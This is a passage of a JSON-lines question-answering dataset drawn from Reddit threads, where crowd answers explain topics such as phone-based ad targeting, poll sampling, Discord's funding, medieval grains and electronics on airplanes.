{"q_id": "ap2lft", "title": "how is it that i have never googled anything about glasses, just went to the optometrist earlier today and later got my first ever glasses commercial on youtube... the same day?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ap2lft/eli5_how_is_it_that_i_have_never_googled_anything/", "answers": {"a_id": ["eg5bvu6", "eg5bxor", "eg5c2nc", "eg5cxod", "eg5dszm", "eg5e9ys", "eg5ebqj", "eg5eg8k", "eg5eu60", "eg5ex5y", "eg5exqr", "eg5f3bj", "eg5f4lv", "eg5f59u", "eg5f66e", "eg5f7kf", "eg5fh2j", "eg5fh3m", "eg5fpww", "eg5fqup", "eg5fuym", "eg5fvht", "eg5g3tu", "eg5ge4z", "eg5gin3", "eg5gir2", "eg5grq4", "eg5guro", "eg5gvr6", "eg5hrdh", "eg5hxf0", "eg5hzsf", "eg5i3h1", "eg5i8x4", "eg5ia9p", "eg5ie1x", "eg5igpu", "eg5itjq"], "score": [11, 2600, 4, 32, 388, 9, 50, 15, 3, 63, 45, 2, 19, 6, 4, 2, 10, 3, 2, 4, 3, 4, 2, 6, 2, 2, 5, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2], "text": ["Is the form of payment you used at the optometrist also connected to your online accounts? ", "I would assume you took your smartphone with you when you went to the optometrist.  Your phone's location reported to Google's servers as having an extended stop at an optometrist, so their algorithms assumed you had an optometrist appointment.  Many people don't go to the optometrist unless they feel like they need to get their vision checked.", "Ok according to the bit my first answer was too short. I'll use more words to make it accepted.\n\nYou probably use a smartphone. Smartphones have a gps build in. GPS stands for global positioning system. It's a little piece inside your phone that tells your phone where it is. This is how you can see a little dot in google maps where you are. Google automatically tracks where you are and gives you relevant ads.\n\nIf you looked up the way to the optometrist it's even simpler.\n\nI hope I used enough words now. Think an actual 5yo might actually understand this.", "because us users of any service are unknowingly sending information to every company on the internet. and we dont know what info it is until we take the time to jump through the hoops and find the correct page or are linked by someone", "If you want to see the extent of what Google has on you, check out their [takeout](_URL_0_) page where you can request a copy of all of it. Maps knows exactly where you've been, and when, and for how long. In fact, you don't even need to do that, just look at a Google Maps entry: it will usually tell you what time of day a place is busiest, and how long people spend there on average.", "You probably just never noticed the ads before because they meant nothing to you until now.", "Google is keeping a track of your location hisigry (details [Here](_URL_0_). It would've recognised you went to or near and optometrist so you may have been interested in eyeware.", "I diagnose a lack of adblocker. This is a serious illness that requires immediate treatment.", "Google uses trackers embedded in their websites google, google maps, translate, gmail ect.\nStop using google use something like [_URL_1_](_URL_0_)  instead and ProtonMail for email.\n\nGoogle is a data mining powerhouse much like facebook. ", "I would assume Baader-Meinhof phenomenon or Observational Selection Bias.\n\n\"Observational Selection Bias\" is the \"tendency to notice something more when something causes us to be more aware of it, such as when we buy a car, we tend to notice similar cars more often than we did before. They are not suddenly more common \u2013 we just are noticing them more.\"\n\nBaader-Meinhof phenomenon or \"Frequency Illusion\". It's the illusion in which something (a word, a name, or pretty much anything) that has recently come to one's attention suddenly seems to appear with improbable frequency shortly afterwards.\n\n_URL_0_\n\nThat is to say that you probably got glasses commercials before, you just didnt notice them.\n", "Google (and other companies) will employ a range of technologies (and combine them) to create an accurate and continually updated assessment of your purchase intent. It's possible to connect data from multiple services and types of hardware even if you're not logged in. Some examples of what is data mined:\n\n- Geo location from your phone. They can tell if you visited a car dealership, for example, and deduce that you're about to make a big purchase. Why is this important? Because they'll spend way more money trying to influence you about a car purchase now that they know it's imminent. The way it works out is that they end up spending $1 on you before targeting but $10 on you after. Except it's less overall. Instead of spending $1m spamming ads at random times, or in random places hoping to catch whatever walks by, they can spend $250k on a smaller chunk of people who are way more likely to buy. Lower overall spend, more trying much harder per person, because they get great returns.\n- Search history from your browser. Obviously this will yield a metric fuckton of data about you, where you work, what your interests are, and your problems, medical info, and of course, your fappin' habits.\n- Microphone speech translated from your phone AND computer AND alexa, etc. This one is easy to test. Google it. \n- Transaction info from iwallet/android pay or whatever it's called. They can infer from this your income level and home address to within half a block. \n- Different lists from technologies like the above, but purchased from other collectors. You can compare two overlapping lists of consumers, validating duplicates and filling in the blanks when not a duplicate. Even if your data is anonymized it's possible to connect \"person x who lives on Broadway ave and makes 100k/y and likes to go to starbuck's every morning before work\"", "Baader-Meinhoff phenomenon. You very likely saw these commercials previously and ignored them, like how your Brain ignores the billions of ads you see everyday, until it is about something you care about. \n\n & #x200B;", "Follow up question. I was on a date, we were talking about the kind of music she likes (soul, jazz, classic) and told me she played traverse flute.\nOn my side, I sometimes listen to classic or jazz on YouTube but that's all. Never been to a concert or search for it on Google.\nThe very next day, I got two ads on Facebook. One for a jazz, soul and classic concert happening in a city nearby, the other offering courses to traverse flute players.\nI've heard that phone are not supposed to tape conversations, but these kind of things are super strange! Any idea? ", "How do you know it was your \"first ever glasses commercial\"?", "Smartphones listen as well.  I recently attended a medical review and used a very specific medical phrase about 3 times whilst there.  Not 5 minutes later I was seeing Facebook ads for products using that exact phrase!", "Oooh! Can answer this. I work in programmatic video!\n\nI think it's already been explained, but basically your handset is linked to Google's ad server. Meaning that your GPS location can be tracked. The optometrist that advertised to you tells a company like mine to serve up its ads to anyone who will have an interest in their products, and we can set certain parameters.\n\n\nNamely, extended visit to a particular long/lat coordinates, age, interests, etc.\nSo you may have unconsciously expressed an interest in glasses through people you follow on twitter, something semi-related you've googled (did you perhaps search for the location of the optometrist?), and all sorts. That location one is odd \ud83d\ude02 ", "I went and visited a friend and he got a new Dyson. We were talking about it and how he's happy he got it. Then while he was preparing some food I was scrolling through facebook and lo-and-behold, and ad for Dyson vacuum cleaners popped up. I thought that's blatantly listening in, but then again, I was connected to his wifi network which has a history of Dyson/vacuum shopping. And location tracking for delivery vehicles from Dyson factory to his house. There's an incredible amount of info they can extrapolate based on the data they're allowed to collect.", "As others have said, location services, but I want to expand. I went to a friend's house, we talked music and he showed me watermelon man by Herbie Hancock, on his computer on his spotify account, when I got home watermelon man appeared in my reddit feed. I had barely seen anything from r/music previously. How?", "I have a local store that sends me coupons of exact items I have bought. The outside of it says \"Hand picked just for you\"  I am not part of their mperks program, I am assuming my credit card company is giving them my info or something. \n\nThey are decent coupons like a 20 oz. Red Bull for free no purchase necessary.  \n\nI don't care if ads are targeted to me, I just worry about the future and how far it's going to go. Or what they are already doing that people don't know about yet. ", "There must be some google strategy folk reading this post thinking \u201c\ud83d\ude2dit works, the system works\u201d", "If voice recognition is on, OK Google..then your conversation was dipped on. I had a new Pixel 2, never owned or want to own a gun, however I had a conversation with a friend that about guns. Two days later I got multiple ads for online gun stores, gun apps and a local gun expo. I since turned off the song recognition and the microphone. No more ads relating to conversations or searches.", "The day my grandfather passed. My mum and I were targeted with coffin adds. No one had posted about his passing. We were just talking and consoling each other. All we could think for how they knew we needed a coffin was that they listened through the mic on our phones. ", "In addition to what others are saying about tracking location services and everything else thats been mentioned, it is also worth noting that companies like Google and Facebook also pair with outside data collection agencies that monitor your purchases in irl stores like Datalogix, Acxiom, Epsilon, and BlueKai. These companies already collect information about you through things like store loyalty cards, mailing lists, public records information (including home or car ownership), browser cookies, and more.", "Did you Google the optometrist? Did you Google the address? Did you use Google maps? Did you use Google calendar? Are your location settings turned on? \n\nAny one of those could be the culprit.", "Did you drive to the Optometrist by using google maps?", "Google is tracking your every move, not even joking. They saw you stopped there so they deiced to advertise accordingly. \n\nI have gotten things poped up on my phone before when I have gotten home after a day out \"Did you enjoy your time at X\" I don't even have data on my phone but I assume the gps still works without it, it's creepy.", "Might just be a mixed case lf recency/confirmation bias. You might've missed plenty of ads for glasses but they were never on your mind so you never noticed them. Now glasses happened to be on your mind because of the appointment and it was a funny coincidence that you saw a glasses commercial on the same day. ", "Even if you disable location services, google still knows which WiFi networks you've been in range of and for how long. They can also see which other android phones 'bumped' in to those same networks at the same time and may even know which other phones you were in wifi range of yourself. Some of those phones also belong to people buying glasses who probably did a related search on their phone so once you are logged as being in the same physical networking space, their advertising preferences will influence your ads and vice versa. ", "Calander entry in google calander, location ping if you took your phone with you, you could have clicked on an article or banner with info about glasses or perhaps just a random search you made and forgot about while taking a dump. Many possibilities exist. The fringe one being that izs pure cooincidence and you got randomly targeted due to age.", "What you are experiencing is Baader-Meinhof phenomenon.\nIts like when you don't notice something at first, like a word or an object. Then, when you know about that item or word, you see that object and word everywhere you look.\n\nIts simply your brain getting aware of a new surrounding you previously did not know or care about enough to give it any second tought.", "Did you... Bring your phone with you? Use insurance? Use your debit or credit card?", "I don\u2019t know how true it is but I watched a few YouTube videos of someone speaking about random topics and items that he wouldn\u2019t normally speak about within earshot if his google home speaker and afterwards went onto google chrome and was served ads about the random things he was talking about so if you have a google home speaker in your house google may have picked up on \u201copticians\u201d or \u201cglasses\u201d words that you may have been talking about if it is indeed true, I have no evidence to back that up myself though", "It could also be just recency bias. You could have seen 100 glasses commercials on YouTube that never registered because they seemed completely innocuous at the time. This time, you took note of the commercial because of your recent trip to the optometrist. ", "You never truly listen to the words of a love song until you're in love.  Sad songs do not affect you unless you have a break up.  You don't notice diaper commercials until you or your SO are pregnant.\n\nThe list goes on and on and on.  Eyeglasses were not on your radar, you ignored them, there is no possible way you remember every commercial you have ever watched.  But you now have a connection to glasses and now notice the ads.\n\nI mean, the top 10 post all blame google and or facebook and while that certainly could be part of it (maybe you googled or clicked a glasses related something) it is more likely the out of sight out of mind thing.\n", "\"Pattern recognition.\" You didn't notice the ads before until you needed glasses. Think of all the ads you saw today and forgot, because none were relevant.\n\n & #x200B;\n\nFurther, it would be poor marketing to advertise after they got your money ;)", "just like when a woman wants to have a baby she starts to notice pregnant women and babies everywhere .... theres a phsychological name for this its on the tip of my tongue.... urghh ", "Illusion. You've just never noticed the glasses ads before. It only stuck out because you'd just been to the optician.", "Maybe you googled the address and this was enough to mark you as interested in glasses. Or you mentioned it in a chat to someone in for example facebook messenger which is also enough sometimes. If you really didn\u2019t mention glasses or type glasses or anything sight related on your phone or computer there is the opportunity of this being the phenomenon of the frequency illusion. Things that aren\u2019t relevant to us or that we might not even know much about is likely to go unnoticed. We take in A LOT of information in every day and our brain is wired to sort out a lot of it before it even reaches our awareness and thus we can navigate the world without going crazy. However it often happens that once we get a new job, learn a new word or concept or book a vacation then suddenly this pops up everywhere. It doesn\u2019t actually but the difference is that now this is something that we have recently been associated with in one way or another and thus we suddenly notice it even though it was likely always there so before needing glasses your attention would have not been caught by a glasses commercial. This is just a theory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://takeout.google.com/settings/takeout"], [], ["https://www.androidcentral.com/how-view-your-location-history-google-maps"], [], ["https://www.duck.com", "duck.com"], ["https://en.wikipedia.org/wiki/List_of_cognitive_biases"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2o8zx3", "title": "Did Voltaire really say \u201cGive me ten minutes to talk away my ugly face, and I\u2019ll bed the Queen of France.\u201d?", "selftext": "I ran into this quote in a recent Reddit thread, and I thought it was really funny. So much so that I immediately became a bit sceptical about it. Is there any proof that Voltaire actually said/wrote this?\n\nBonus question: If he did, what was the context of the remark?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2o8zx3/did_voltaire_really_say_give_me_ten_minutes_to/", "answers": {"a_id": ["cmkulgr"], "score": [5], "text": ["The quote in that particular wording was popularised by Ross Jeffries, a guy who writes books on how to seduce women, which is probably also the context that you found it in on Reddit. It gets posted on subs like r/TheRedPill and similar \"game theory\" communities. The usual French wording is *Donnez-moi une minute pour faire oublier mon visage gr\u00e2ce \u00e0 ma conversation, et je pourrai s\u00e9duire la reine de France*, which is only saying one minute, not ten. Both get a lot of attention form self-styled \"seduction artists\" and the forums they frequent.\n\nOther than countless repetitions of the quote in these two forms, regularly brought up on these types of sites, I've not been able to dig up a single reliable source for him having ever written it. In fact the only thing I've been able to find that even remotely suggesst he said it \u2013 searching in either English or French \u2013 are books/websites/etc targeted toward aspiring pickup artists. Short of this kind of hearsay, I've not found a single thing that can substantiate that he actually ever said this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "e29bga", "title": "Why was wheat for the rich and barley, oats, and rye for the poor in premodern Europe?", "selftext": "I've heard that only the rich got wheat for their bread and porridge in premodern europe, while the poor made due with barley, oats, and rye. I always imaged there was an economic reason for this, such as that barley, oats, and rye had higher yields and that wheat was a prestige food with a lower yield but higher palatability. Is that true? \n\nWere there other factors involved in wheat being the food of the rich?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e29bga/why_was_wheat_for_the_rich_and_barley_oats_and/", "answers": {"a_id": ["f8umztj"], "score": [2], "text": ["Basically you are correct.  Wheat has a smaller gross and net yield compared to barley or oats (and rye depending on the climate, soil, etc).\n\nWheat wasn\u2019t more nutritious than its rival grains, but it was definitely preferred.  Thus it had a higher price.  In medieval England at least there were fields that were sewn with a more-or-less even amounts of wheat and barley, which is known as \u201cmixtil\u201d.\n\nIt\u2019s fair to say that wheat was for the rich and oats and rye were for the poor, that\u2019s a broad generalization.  Barley is in a different category as it could be used to make beer or bread... or as animal fodder (wheat is the only crop we\u2019re discussing that would almost never be used for animal fodder)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "d9ujaq", "title": "How do individual pixels come together together to form images?", "selftext": "Hoping I chose the right flair.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d9ujaq/how_do_individual_pixels_come_together_together/", "answers": {"a_id": ["f1ll7jd", "f1ltnlb"], "score": [7, 9], "text": ["There are no pixels without an image, so I don't think the question makes sense. It's kinda like asking how bits come together to form a drive.\n\nNot all images even have the concept of pixels. SVG, for example, or any vector format.\n\nOr are you asking about pixels as they apply to the screen? \n\nHow does image data form an image? That depends on the format and a ton of things. Computerphile has a good series on YouTube. Start with bitmap, since that's the simplest. \n\nBriefly stated, for bitmaps:\n- There's a header in the file containing dimensions, colorspace, etc. in a long string (no row/column)\n- After the header, there's color data that could be a level of black/white, rgb, rgba, etc.\n- The pixels are rendered, and the image dimensions are used to determine when the next pixel drawn should be on the next row.", "Ask your question in reverse is a better way of understanding this. Say you want to approximate an image of a person's head, you only need a circle as the head, two smaller circles as its eyes and some more stuff for other details. This will look super rough but it's not hard to see as the pixels get smaller, the details will be more fine. Screens are nothing but a super fine approximation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "95zskd", "title": "why is a poll or study where only 1,000 people were surveyed a good representation for a much larger group of people?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95zskd/eli5_why_is_a_poll_or_study_where_only_1000/", "answers": {"a_id": ["e3wo23q", "e3woba7", "e3wraxt", "e3wreq2", "e3wyd2e"], "score": [9, 11, 65, 10, 3], "text": ["If it's what's called a stratified sample, it offers good insight into the group as a whole. A stratified sample has a makeup similar to the larger group, so results can be extrapolated from that data.", "It isn't, by itself. You have to look at the sampling methodology to make that determination. It might be valid, if the larger group is composed such that it can be modeled in the sample, especially if the data only has a few possible values. For instance, a thousand people walking by a certain corner is not a good model of the nation's population, but if they weight their sample by region, age, education, and similar metrics so that the sample parallels the population, it could be a good model. Then, look at how many values the data can have. If it's something with many possible values, like \"what's your favorite food,\" it might not be enough to make a sample, but if there's only a few possible values, like \"which do you like best: football, baseball, hockey, basketball, or none of the above?\" then it could be, because the duplicate answers will start piling up in a way that replicates the unsampled population.", "It might be a little easier to think of this in reverse: what are the chances that a given sample does NOT mirror the overall group? With a sample of only 1, the odds are really high. If we're talking about political views (a very common topic for polling), maybe you managed to pick my crazy uncle, who believes taxation is theft and keeps gold bars for the coming apocalypse. But if you pick two people, the odds are much lower that you'll get my crazy uncle AND one of his crazy fellow believers.\n\nThat AND is key, because when you're calculating probabilities, the chances of one thing happening AND another thing happening is the odds of the first times the odds of the second. So if the chances of picking someone like my crazy uncle are 1 in 100,000, the odds of picking two such people are 1 in 10,000,000,000. That probably isn't gonna happen. \n\nSo, remember, we're working toward an intuitive sense of the likelihood of 1000 people NOT closely mimicking the overall group. What are the odds of picking a whole bunch of weirdos? It's like trying to pick my uncle over and over again. Or even if you define \"weirdo\" much more narrowly, the odds of picking 1,000 unusual people in a row are really low. It's kind of like how taking 0.9 the the power of 1000 - i.e. (0.9)*(0.9)*(0.9)... a thousand times - gets you a really small number. \n\nThe situation gets more complicated when you start looking at smaller sub-groups (gender, race, education, wealth, etc.) within the 1,000 people. During the 2016 election, I remember reading about polls of Trump's African-American support with 1,000 or 2,000 respondents that had gigantic margins of error because most polls couldn't find a *single* African-American who supported him. How do you interpret a whole bunch of zeros and then one isolated 1? Statistics get weird at the edges. But this captures the basics of the ideal case. ", "If you flipped a coin 1000 times, you'd probably agree that you've gained a pretty good idea of whether the coin is fair and how many of the next 100 million flips you'd expect to be heads.\n\nIf you ask 1000 random people a yes or no question, the math isn't really any different. You should be quite confident that you have a good idea how the next 100 million people would answer.\n\nThe hard bit, of course, is picking random people. Putting a poll on a website certainly won't do it, since you get responses from people who feel strongly enough to choose to respond. Even phoning random numbers gets you people who have phones and were available to answer when you called.", "\nPut a million colored marbles in a bag and thoroughly mix them up.  Then pull out a thousand.\n\nIf 900,000 of the million marbles are green and 100,000 of the million marbles are red, you should expect to see your sample has *about* 900 red marbles, and *about* 100 green marbles.  Of course they won't be exact, maybe your actual sample will be more like 912 red marbles and 88 green marbles.\n\nIf you re-start the experiment and do it many times, you'll see a pattern:  Your 1000 marble sample is almost never *exactly* the \"ideal\" 900 red and 100 green marbles.  But it is quite rare for it to be very far off.\n\nIn fact, some probability mathematics lets us work out the numbers.  And it turns out that, when you do work out the numbers, you find that it would require truly mind-boggling levels of extraordinary luck to get something totally wrong, such as all red, or all green, by pure chance [1].\n\n[1] Of course you might get it if your draws aren't based entirely on chance.  For example, if green marbles are very heavy and tend to sink to the bottom, and you always draw from the top, it might not be too unusual to always get all red marbles every time.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "6t0ynv", "title": "how does ethnocentrism affect one's viewpoint?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6t0ynv/eli5_how_does_ethnocentrism_affect_ones_viewpoint/", "answers": {"a_id": ["dlh0qp6"], "score": [2], "text": ["You judge things based on what your culture thinks. \n\nSo, for example, when Europeans first arrived in Polynesia they found women standing around topless in the tropical sun. \n\nTo the Europeans, this meant the women were lustful sluts. The Polynesians were confused by this. To them, it wasn't a sexual thing - everyone did it, and so it wasn't arousing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9ose3d", "title": "discord is ad free and only has a 5$ optional subscription fee. how do they afford to service their close to 100 million users?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ose3d/eli5_discord_is_ad_free_and_only_has_a_5_optional/", "answers": {"a_id": ["e7wcxfj", "e7wd3x2", "e7wfsiv", "e7wga40", "e7wgh0o"], "score": [39, 190, 38, 3, 23], "text": ["You're vastly underestimating the number of people willing to shell out $5 for some flashy emotes, and you're vastly overestimating the marginal cost of scaling a service like Discord once you've got the initial infrastructure in place.  \n  \nPlus you can't forget the rule of all \"free\" services online: if it doesn't cost money, you're the product.", "Investors.  Right now Discord is not bringing in a  profit and they are losing money. Investors in the company are giving them money to continue to operate until they can figure out a path to profitability. This is a very common business tactic especially in tech/software businesses. ", "They just released a subscription based game library. For $9.99/month you now get access to a bunch of games, on top of getting their \"Nitro\" membership benefits. Only time will tell if it's successful though.\n\nUntil now I think they survived because of investors and their Nitro membership subscription. I'm sure that they are also using your data for some extra profit, but I haven't verified that.", "In addition to the other things mentioned here, it's worth pointing out that they've been *constantly* seeking new employees for years now (although only a few at a time), which tells us from a software dev standpoint that they certainly aren't running a fully-saturated crew (probably multi-skilled techs filling in  &  wearing multiple hats, so to speak). Combining that with the typical working habits expected of startup companies like this, and it's not unlikely that the team itself has probably been stretched pretty thin on their massive work loads as a means to keep employment costs down, and have been making position openings where they *absolutely need* the relief.", "It will eventually be monetized, or once it gains a very sizable following, will be sold so that all initial investors make their money back along with some profit.  The company that purchased it will have a way to monetize it.  \n\nTwitter only made a profit this past year.  It\u2019s been around since 2006, and has A LOT more users than Discord.  Ads have ramped up a lot the past few years.\n\nYouTube was also a free service, and had zero ads.  After they got a huge user base, it was sold to Google, who then monetized it with ad revenue.\n\nExpect that Discord will eventually start limiting the number of users per server unless you buy a Premium Server, and the number of people allowed in a chat room will be limited to like 4 unless you pay an upgrade cost.  It\u2019ll happen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "cfmg9x", "title": "how do the manufacturing companies ensure that the insides of the food packaging packets are thoroughly cleaned ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfmg9x/eli5_how_do_the_manufacturing_companies_ensure/", "answers": {"a_id": ["eub1zhp", "eucv1ss"], "score": [5, 2], "text": ["Depends on the package, but there is usually some sort of cleansing step right before filling and sealing.\n\nTake bottles for instance. On the bottling line I worked at a brewery, empty bottles first entered a sanitizing machine that flipped them upside down and blasted them out with peroxide and water, then were filled and sealed within seconds.\n\nPlastic bag type packages usually come off a huge roll of what is basically a plastic tube. It was manufactured in a fairly clean environment, and it is pretty much impossible for stuff to get inside until it comes off the roll and is cut, filled, and sealed in seconds.", "Thankyou... That's what I was wondering"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "31asng", "title": "if jupiter and saturn are made of gas, how come whenever i see pictures of them, the patterns and colours on them look the same? doesn't the gas move around?", "selftext": "i.e. Jupiter appears to have 'layers' of colour and the Red Spot - how come these things stay the same?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31asng/eli5_if_jupiter_and_saturn_are_made_of_gas_how/", "answers": {"a_id": ["cpzuwz4", "cpzuyl0", "cpzx1qp"], "score": [59, 11, 4], "text": ["Sheer size. The Great Red Spot id bigger than the Earth. Even if it was to move 2000 km, it would be very hard to see on a picture.", "They change, it just takes time. [Bill Nye explains in this video.](_URL_0_) You can see sample motion footage at 0:55.", "Look up videos of Jupiter. You can see tons of movement. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=2hJvP-3-djo"], []]}
{"q_id": "11xqiy", "title": "Why are particle accelerators called *-\"tron\" ?", "selftext": "As asked in the title: were does the \"-tron\" comes from?\nE.g. Cyclotron, Synchrotron, Synchrocyclotron, Bevatron, Tevatron, Betatron etc.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11xqiy/why_are_particle_accelerators_called_tron/", "answers": {"a_id": ["c6qg509", "c6qgjrn", "c6qgtff"], "score": [10, 12, 4], "text": ["_URL_2_\n\n\"-tron, a suffix to denote a complex scientific instrument, like a cyclotron, a phytotron etc.\"\n\nAlso: _URL_0_\n\nIt's not only particle accelerators, though, as there is a [magnetron](_URL_1_) in your microwave.", "The etymological root of the -tron suffix is Greek - it is a suffix denoting an instrument; akin to Old English -thor, suffix denoting an instrument, Latin -trum. Source: _URL_0_", "The ancient greek name of amber was Electron. The first source of electricity has been observed by rubbing amber with wool, and noticing that it attracted small light objects by static electricity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://wordinfo.info/unit/2190/s:a%20suffix%20referring%20to%20a%20device", "http://en.wikipedia.org/wiki/Magnetron", "http://en.wikipedia.org/wiki/Tron_(disambiguation)"], ["http://www.merriam-webster.com/dictionary/-tron"], []]}
{"q_id": "2spxsl", "title": "the importance/advantages of military control over the baltic sea", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2spxsl/eli5the_importanceadvantages_of_military_control/", "answers": {"a_id": ["cnrt9if"], "score": [2], "text": ["If you're Sweden or Finland, you have two choices. Trade overland with Russia, or trade via the Baltic sea.\n\nCountries along the southern Baltic coast like Poland, Lithuania, Latvia and Estonia (along with Sweden and Finland) can only access the global economy via the Baltic sea connection to the Atlantic. \n\nIn essence, whoever controls the Baltic is going to control all of those countries. It would be very difficult for any of them to resist a full and permanent naval embargo, with the possible exception of Sweden, who are able to access the Atlantic out of Gothenburg, but who would still suffer tremendously as a result."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2yuax9", "title": "-prebiotic. antibiotic. probiotic. what's a biotic and what does it do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yuax9/eli5prebiotic_antibiotic_probiotic_whats_a_biotic/", "answers": {"a_id": ["cpd04wp"], "score": [4], "text": ["Bacteria.\n\nAnti-biotic: against bacteria, drugs that kills bacteria\n\nPro-biotic: good bacteria, bacteria that exerts a positive effect on health, your stomach and intestines are full of bacteria that helps with food digestion and production of vitamins\n\npre-biotic: chemicals that causes a change in the activity of your stomach/intestine bacteria, usually for the better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6h32he", "title": "how come airlines no longer require electronics to be powered down during takeoff, even though there are many more electronic devices in operation today than there were 20 years ago? was there ever a legitimate reason to power down electronics? if so, what changed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6h32he/eli5_how_come_airlines_no_longer_require/", "answers": {"a_id": ["div4e2c", "div4nrs", "div5cgw", "div6jrc", "div7ad4", "divdgav", "divdump", "dive1wz", "dive9mc", "divejko", "divetkb", "divevr4", "divezth", "divg5uj", "divglrm", "divgqs6", "divgu5o", "divh466", "divhhv5", "dividm7", "divj1a7", "divjiu2", "divjnet", "divkevf", "divkg8n", "divkt5r", "divlnio", "divlor2", "divlpr0", "divm158", "divmung", "divnzk1", "divoavu", "divovx5", "divqnrs", "divqzf9", "divtf0z", "divuo96", "divwuid", "divx747", "divxys2", "divz6s4", "diw1wva", "diw2g38", "diw3f63", "diw3yt1", "diw6852", "diw70a8", "diw858y", "diw9tpi", "diwb2fw", "diweik9", "diwh38z"], "score": [4, 38, 2390, 208, 5, 116, 4, 31, 6699, 3, 2076, 3, 2, 4, 5, 5, 15, 114, 2, 2, 57, 63, 5, 2, 6, 3, 5, 2, 2, 2, 9, 2, 3, 3, 5, 2, 2, 4, 3, 4, 2, 4, 3, 5, 7, 3, 2, 5, 4, 3, 5, 6, 3], "text": ["There was a legitimate reason originally: some electronics produced large electromagnetic interference fields (a form of radiation) that could interfere with the communications and controls of a passenger plane. It was too difficult to educate flight attendants adequately to have them making the judgment calls item by item on what to allow, so the rule was a blanket \"no devices\".\n\nSubsequently, aircraft manufacturers have \"hardened\" most of the critical elements of newer aircraft. The term \"harden\" in this case means to make electrical systems resistant to electromagnetic radiation. There are still holdouts, and the industry is rightfully very conservative about what they allow. ", "When mobile devices started gaining prevalence, airline operators weren't certain the device signals wouldn't interfere with radio signals and other systems on the plane, which could interfere with the plane's operation.\n\nSince then, planes have been built with better electromagnetic shielding on their electronics, so those fears haven't really panned out. However, another concern might be that the attempt to connect to cell towers on the ground while traveling several hundred miles per hour - hopping between towers every few seconds - might cause some network congestion on the ground.\n\nRegardless, since those regulations were put in place, device makers started introducing \"airplane mode\" features that shut off all device radios. That being prevalent today, airlines now tell passengers either to turn off devices *or* to put them in airplane mode.", "The TL;DR is that the FAA used to have rules forbidding non-approved devices. They loosened these because they realized it was dumb. \n\nInterfering with the planes electronics? Sure, its possible. But RF interference isn't a thing due to FCC certification, and it would have to be an *extremely* noisy device to cause slight interference with gauges. My wife has made phone calls when we've been up flying general aviation, and have had no issues aside from the occasional \"GSM Buzz\" in the headset - same as you'd get with speakers and a GSM phone.\n\nShielding? Nope, not really. Most of the electronics nowadays are digital (which helps), and shielded wires... but no more shielded than the cable you use to charge your phone. And they're not \"hardened\" by any means (unless we're talking military, which is a separate point entirely). The GA stuff I fly personally? Lol... and zero issues with a 1975 airplane (and probably 1990s electronics...)\n\nNetwork congestion on the ground? Likely not - you're more likely to just lose signal and get kicked by the cell system, and not the FAAs problem. Remember, the FAA makes rules for *airplanes* not *cell phones*.\n\nSource: Avionics Test Engineer and pilot. ", "I've been told by a friend that is a pilot that the reason for the power down during take off and landing is that those are the most dangerous times when on an aircraft. Therefore, they are hoping that people won't be distracted by their electronics, or god-forbid, create numerous hard plastic and metal projectiles to fly through the cabin in an accident. The last time I flew we still had to power down during take-off and landing.", "It had to do with fears that a cell phone could somehow interest with the planes electronics or radio communication, and in the case of an accident would help to reduce the number of small hard things flying around the cabin.\n\nUltimately they have realized that cell phones aren't nearly powerful enough to interfere.\n\nAnd in an accident the cell phones become a non issue neways (in a hard enough crash to where they would be dangerous, the people are dead anyways).", "If there was ever any real danger there's no way they'd even let you have them on the plane. Plane crash prevention based on the honor system?? I don't think so...", "I'll try to keep it real short.\n\n & nbsp;\n\nBasically it was known that it was possible that electronics could create interference, nothing ever happened with regards to interference, so they lightened the restrictions.", "Aside from the other reasons I've seen here, there's another I've been told. The vast majority of airline crashes happen in the first and last 15 minutes of a flight, aka take off and landing. If a crash were to happen, the entire cabin would rapidly shake and everything  would be flying around. They tell people to turn off and put away electronics because that is a lot of stuff flying around and injuring people. Contrary to popular belief, most plane crashes are not fatal, they are more like rough emergency landings. Everything needs to be secure so the cabin doesn't have 100 cell phones flying around hitting people in the face.", "There are a lot of misconceptions every time this subject is brought up. \n\nEMI, Electromagnetic Interference, is a serious consideration in aircraft design and operation, and has been for decades.\n\nI highly recommend this NASA report from 1995, [PDF here](_URL_0_), which details several incidents, aviation and otherwise. Probably one of the 